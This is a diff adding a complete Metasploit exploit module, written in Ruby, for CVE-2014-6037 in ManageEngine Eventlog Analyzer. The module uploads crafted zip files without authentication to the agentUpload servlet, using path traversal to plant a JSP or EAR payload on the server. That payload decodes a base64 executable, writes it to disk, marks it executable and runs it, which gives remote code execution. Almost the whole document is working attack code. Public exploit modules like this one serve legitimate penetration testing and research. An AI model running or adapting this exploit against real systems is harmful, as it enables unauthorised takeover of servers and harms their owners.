|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + include Msf::Exploit::FileDropper |
| 13 | + include Msf::Exploit::EXE |
| 14 | + |
| 15 | + def initialize(info = {}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => 'ManageEngine Eventlog Analyzer Arbitrary File Upload', |
| 18 | + 'Description' => %q{ |
| 19 | + This module exploits a file upload vulnerability in ManageEngine Eventlog Analyzer. |
| 20 | + The vulnerability exists in the agentUpload servlet which accepts unauthenticated |
| 21 | + file uploads and handles zip file contents in a insecure way. By combining both |
| 22 | + weaknesses a remote attacker can achieve remote code execution. This module has been |
| 23 | + tested successfully on versions v7.0 - v9.9 b9002 in Windows and Linux. Versions |
| 24 | + between 7.0 and < 8.1 are only exploitable via EAR deployment in the JBoss server, |
| 25 | + while versions 8.1+ are only exploitable via a JSP upload. |
| 26 | + }, |
| 27 | + 'Author' => |
| 28 | + [ |
| 29 | + 'h0ng10', # Vulnerability discovery |
| 30 | + 'Pedro Ribeiro <pedrib[at]gmail.com>' # Metasploit module |
| 31 | + ], |
| 32 | + 'License' => MSF_LICENSE, |
| 33 | + 'References' => |
| 34 | + [ |
| 35 | + [ 'CVE', '2014-6037' ], |
| 36 | + [ 'OSVDB', '110642' ], |
| 37 | + [ 'URL', 'https://www.mogwaisecurity.de/advisories/MSA-2014-01.txt' ], |
| 38 | + [ 'URL', 'http://seclists.org/fulldisclosure/2014/Aug/86' ] |
| 39 | + ], |
| 40 | + 'DefaultOptions' => { 'WfsDelay' => 5 }, |
| 41 | + 'Privileged' => false, # Privileged on Windows but not on Linux targets |
| 42 | + 'Platform' => %w{ java linux win }, |
| 43 | + 'Targets' => |
| 44 | + [ |
| 45 | + [ 'Automatic', { } ], |
| 46 | + [ 'Eventlog Analyzer v7.0 - v8.0 / Java universal', |
| 47 | + { |
| 48 | + 'Platform' => 'java', |
| 49 | + 'Arch' => ARCH_JAVA, |
| 50 | + 'WfsDelay' => 30 |
| 51 | + } |
| 52 | + ], |
| 53 | + [ 'Eventlog Analyzer v8.1 - v9.9 b9002 / Windows', |
| 54 | + { |
| 55 | + 'Platform' => 'win', |
| 56 | + 'Arch' => ARCH_X86 |
| 57 | + } |
| 58 | + ], |
| 59 | + [ 'Eventlog Analyzer v8.1 - v9.9 b9002 / Linux', |
| 60 | + { |
| 61 | + 'Platform' => 'linux', |
| 62 | + 'Arch' => ARCH_X86 |
| 63 | + } |
| 64 | + ] |
| 65 | + ], |
| 66 | + 'DefaultTarget' => 0, |
| 67 | + 'DisclosureDate' => 'Aug 31 2014')) |
| 68 | + |
| 69 | + register_options( |
| 70 | + [ |
| 71 | + Opt::RPORT(8400), |
| 72 | + OptInt.new('SLEEP', |
| 73 | + [true, 'Seconds to sleep while we wait for EAR deployment (Java target only)', 15]), |
| 74 | + ], self.class) |
| 75 | + end |
| 76 | + |
| 77 | + |
| 78 | + def get_version |
| 79 | + res = send_request_cgi({ |
| 80 | + 'uri' => normalize_uri("event/index3.do"), |
| 81 | + 'method' => 'GET' |
| 82 | + }) |
| 83 | + |
| 84 | + if res and res.code == 200 |
| 85 | + if res.body =~ /ManageEngine EventLog Analyzer ([0-9]{1})/ |
| 86 | + return $1 |
| 87 | + end |
| 88 | + end |
| 89 | + |
| 90 | + return "0" |
| 91 | + end |
| 92 | + |
| 93 | + |
| 94 | + def check |
| 95 | + version = get_version |
| 96 | + if version >= "7" and version <= "9" |
| 97 | + # version 7 to < 8.1 detection |
| 98 | + res = send_request_cgi({ |
| 99 | + 'uri' => normalize_uri("event/agentUpload"), |
| 100 | + 'method' => 'GET' |
| 101 | + }) |
| 102 | + if res and res.code == 405 |
| 103 | + return Exploit::CheckCode::Appears |
| 104 | + end |
| 105 | + |
| 106 | + # version 8.1+ detection |
| 107 | + res = send_request_cgi({ |
| 108 | + 'uri' => normalize_uri("agentUpload"), |
| 109 | + 'method' => 'GET' |
| 110 | + }) |
| 111 | + if res and res.code == 405 and version == 8 |
| 112 | + return Exploit::CheckCode::Appears |
| 113 | + else |
| 114 | + # We can't be sure that it is vulnerable in version 9 |
| 115 | + return Exploit::CheckCode::Detected |
| 116 | + end |
| 117 | + |
| 118 | + else |
| 119 | + return Exploit::CheckCode::Safe |
| 120 | + end |
| 121 | + end |
| 122 | + |
| 123 | + |
| 124 | + def create_zip_and_upload(payload, target_path, is_payload = true) |
| 125 | + # Zipping with CM_STORE to avoid errors decompressing the zip |
| 126 | + # in the Java vulnerable application |
| 127 | + zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE) |
| 128 | + zip.add_file(target_path, payload) |
| 129 | + |
| 130 | + post_data = Rex::MIME::Message.new |
| 131 | + post_data.add_part(zip.pack, "application/zip", 'binary', "form-data; name=\"#{Rex::Text.rand_text_alpha(4+rand(4))}\"; filename=\"#{Rex::Text.rand_text_alpha(4+rand(4))}.zip\"") |
| 132 | + |
| 133 | + data = post_data.to_s |
| 134 | + |
| 135 | + if is_payload |
| 136 | + print_status("#{peer} - Uploading payload...") |
| 137 | + end |
| 138 | + res = send_request_cgi({ |
| 139 | + 'uri' => (@my_target == targets[1] ? normalize_uri("/event/agentUpload") : normalize_uri("agentUpload")), |
| 140 | + 'method' => 'POST', |
| 141 | + 'data' => data, |
| 142 | + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" |
| 143 | + }) |
| 144 | + |
| 145 | + if res and res.code == 200 and res.body.empty? |
| 146 | + if is_payload |
| 147 | + print_status("#{peer} - Payload uploaded successfully") |
| 148 | + end |
| 149 | + register_files_for_cleanup(target_path.gsub("../../", "../")) |
| 150 | + return true |
| 151 | + else |
| 152 | + return false |
| 153 | + end |
| 154 | + end |
| 155 | + |
| 156 | + |
| 157 | + def pick_target |
| 158 | + return target if target.name != 'Automatic' |
| 159 | + |
| 160 | + print_status("#{peer} - Determining target") |
| 161 | + |
| 162 | + version = get_version |
| 163 | + |
| 164 | + if version == "7" |
| 165 | + return targets[1] |
| 166 | + end |
| 167 | + |
| 168 | + os_finder_payload = %Q{<html><body><%out.println(System.getProperty("os.name"));%></body><html>} |
| 169 | + jsp_name = "#{rand_text_alphanumeric(4+rand(32-4))}.jsp" |
| 170 | + target_dir = "../../webapps/event/" |
| 171 | + if not create_zip_and_upload(os_finder_payload, target_dir + jsp_name, false) |
| 172 | + if version == "8" |
| 173 | + # Versions < 8.1 do not have a Java compiler, but can be exploited via the EAR method |
| 174 | + return targets[1] |
| 175 | + end |
| 176 | + return nil |
| 177 | + end |
| 178 | + |
| 179 | + res = send_request_cgi({ |
| 180 | + 'uri' => normalize_uri(jsp_name), |
| 181 | + 'method' => 'GET' |
| 182 | + }) |
| 183 | + |
| 184 | + if res and res.code == 200 |
| 185 | + if res.body.to_s =~ /Windows/ |
| 186 | + return targets[2] |
| 187 | + else |
| 188 | + # assuming Linux |
| 189 | + return targets[3] |
| 190 | + end |
| 191 | + end |
| 192 | + |
| 193 | + return nil |
| 194 | + end |
| 195 | + |
| 196 | + |
| 197 | + def generate_jsp_payload |
| 198 | + opts = {:arch => @my_target.arch, :platform => @my_target.platform} |
| 199 | + payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch) |
| 200 | + exe = generate_payload_exe(opts) |
| 201 | + base64_exe = Rex::Text.encode_base64(exe) |
| 202 | + |
| 203 | + native_payload_name = rand_text_alpha(rand(6)+3) |
| 204 | + ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin' |
| 205 | + |
| 206 | + var_raw = rand_text_alpha(rand(8) + 3) |
| 207 | + var_ostream = rand_text_alpha(rand(8) + 3) |
| 208 | + var_buf = rand_text_alpha(rand(8) + 3) |
| 209 | + var_decoder = rand_text_alpha(rand(8) + 3) |
| 210 | + var_tmp = rand_text_alpha(rand(8) + 3) |
| 211 | + var_path = rand_text_alpha(rand(8) + 3) |
| 212 | + var_proc2 = rand_text_alpha(rand(8) + 3) |
| 213 | + |
| 214 | + if @my_target['Platform'] == 'linux' |
| 215 | + var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3) |
| 216 | + chmod = %Q| |
| 217 | + Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path}); |
| 218 | + Thread.sleep(200); |
| 219 | + | |
| 220 | + |
| 221 | + var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3) |
| 222 | + cleanup = %Q| |
| 223 | + Thread.sleep(200); |
| 224 | + Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path}); |
| 225 | + | |
| 226 | + else |
| 227 | + chmod = '' |
| 228 | + cleanup = '' |
| 229 | + end |
| 230 | + |
| 231 | + jsp = %Q| |
| 232 | + <%@page import="java.io.*"%> |
| 233 | + <%@page import="sun.misc.BASE64Decoder"%> |
| 234 | + <% |
| 235 | + try { |
| 236 | + String #{var_buf} = "#{base64_exe}"; |
| 237 | + BASE64Decoder #{var_decoder} = new BASE64Decoder(); |
| 238 | + byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString()); |
| 239 | +
|
| 240 | + File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}"); |
| 241 | + String #{var_path} = #{var_tmp}.getAbsolutePath(); |
| 242 | +
|
| 243 | + BufferedOutputStream #{var_ostream} = |
| 244 | + new BufferedOutputStream(new FileOutputStream(#{var_path})); |
| 245 | + #{var_ostream}.write(#{var_raw}); |
| 246 | + #{var_ostream}.close(); |
| 247 | + #{chmod} |
| 248 | + Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path}); |
| 249 | + #{cleanup} |
| 250 | + } catch (Exception e) { |
| 251 | + } |
| 252 | + %> |
| 253 | + | |
| 254 | + |
| 255 | + jsp = jsp.gsub(/\n/, '') |
| 256 | + jsp = jsp.gsub(/\t/, '') |
| 257 | + jsp = jsp.gsub(/\x0d\x0a/, "") |
| 258 | + jsp = jsp.gsub(/\x0a/, "") |
| 259 | + |
| 260 | + return jsp |
| 261 | + end |
| 262 | + |
| 263 | + |
| 264 | + def exploit_native |
| 265 | + # When using auto targeting, MSF selects the Windows meterpreter as the default payload. |
| 266 | + # Fail if this is the case and ask the user to select an appropriate payload. |
| 267 | + if @my_target['Platform'] == 'linux' and payload_instance.name =~ /Windows/ |
| 268 | + fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.") |
| 269 | + end |
| 270 | + |
| 271 | + jsp_name = "#{rand_text_alphanumeric(4+rand(32-4))}.jsp" |
| 272 | + target_dir = "../../webapps/event/" |
| 273 | + |
| 274 | + jsp_payload = generate_jsp_payload |
| 275 | + if not create_zip_and_upload(jsp_payload, target_dir + jsp_name) |
| 276 | + fail_with(Failure::Unknown, "#{peer} - Payload upload failed") |
| 277 | + end |
| 278 | + |
| 279 | + return jsp_name |
| 280 | + end |
| 281 | + |
| 282 | + |
| 283 | + def exploit_java |
| 284 | + # When using auto targeting, MSF selects the Windows meterpreter as the default payload. |
| 285 | + # Fail if this is the case and ask the user to select an appropriate payload. |
| 286 | + if @my_target['Platform'] == 'java' and not payload_instance.name =~ /Java/ |
| 287 | + fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Java target.") |
| 288 | + end |
| 289 | + |
| 290 | + target_dir = "../../server/default/deploy/" |
| 291 | + |
| 292 | + # First we generate the WAR with the payload... |
| 293 | + war_app_base = rand_text_alphanumeric(4 + rand(32 - 4)) |
| 294 | + war_payload = payload.encoded_war({ :app_name => war_app_base }) |
| 295 | + |
| 296 | + # ... and then we create an EAR file that will contain it. |
| 297 | + ear_app_base = rand_text_alphanumeric(4 + rand(32 - 4)) |
| 298 | + app_xml = %Q{<?xml version="1.0" encoding="UTF-8"?><application><display-name>#{rand_text_alphanumeric(4 + rand(32 - 4))}</display-name><module><web><web-uri>#{war_app_base + ".war"}</web-uri><context-root>/#{ear_app_base}</context-root></web></module></application>} |
| 299 | + |
| 300 | + # Zipping with CM_STORE to avoid errors while decompressing the zip |
| 301 | + # in the Java vulnerable application |
| 302 | + ear_file = Rex::Zip::Archive.new(Rex::Zip::CM_STORE) |
| 303 | + ear_file.add_file(war_app_base + ".war", war_payload.to_s) |
| 304 | + ear_file.add_file("META-INF/application.xml", app_xml) |
| 305 | + ear_file_name = rand_text_alphanumeric(4 + rand(32 - 4)) + ".ear" |
| 306 | + |
| 307 | + if not create_zip_and_upload(ear_file.pack, target_dir + ear_file_name) |
| 308 | + fail_with(Failure::Unknown, "#{peer} - Payload upload failed") |
| 309 | + end |
| 310 | + |
| 311 | + print_status("#{peer} - Waiting " + datastore['SLEEP'].to_s + " seconds for EAR deployment...") |
| 312 | + sleep(datastore['SLEEP']) |
| 313 | + return normalize_uri(ear_app_base, war_app_base, rand_text_alphanumeric(4 + rand(32 - 4))) |
| 314 | + end |
| 315 | + |
| 316 | + |
| 317 | + def exploit |
| 318 | + if datastore['SLEEP'] < 0 |
| 319 | + print_error("The SLEEP datastore option shouldn't be negative") |
| 320 | + return |
| 321 | + end |
| 322 | + |
| 323 | + @my_target = pick_target |
| 324 | + if @my_target.nil? |
| 325 | + print_error("#{peer} - Unable to select a target, we must bail.") |
| 326 | + return |
| 327 | + else |
| 328 | + print_status("#{peer} - Selected target #{@my_target.name}") |
| 329 | + end |
| 330 | + |
| 331 | + if @my_target == targets[1] |
| 332 | + exploit_path = exploit_java |
| 333 | + else |
| 334 | + exploit_path = exploit_native |
| 335 | + end |
| 336 | + |
| 337 | + print_status("#{peer} - Executing payload...") |
| 338 | + send_request_cgi({ |
| 339 | + 'uri' => normalize_uri(exploit_path), |
| 340 | + 'method' => 'GET' |
| 341 | + }) |
| 342 | + end |
| 343 | +end |
0 commit comments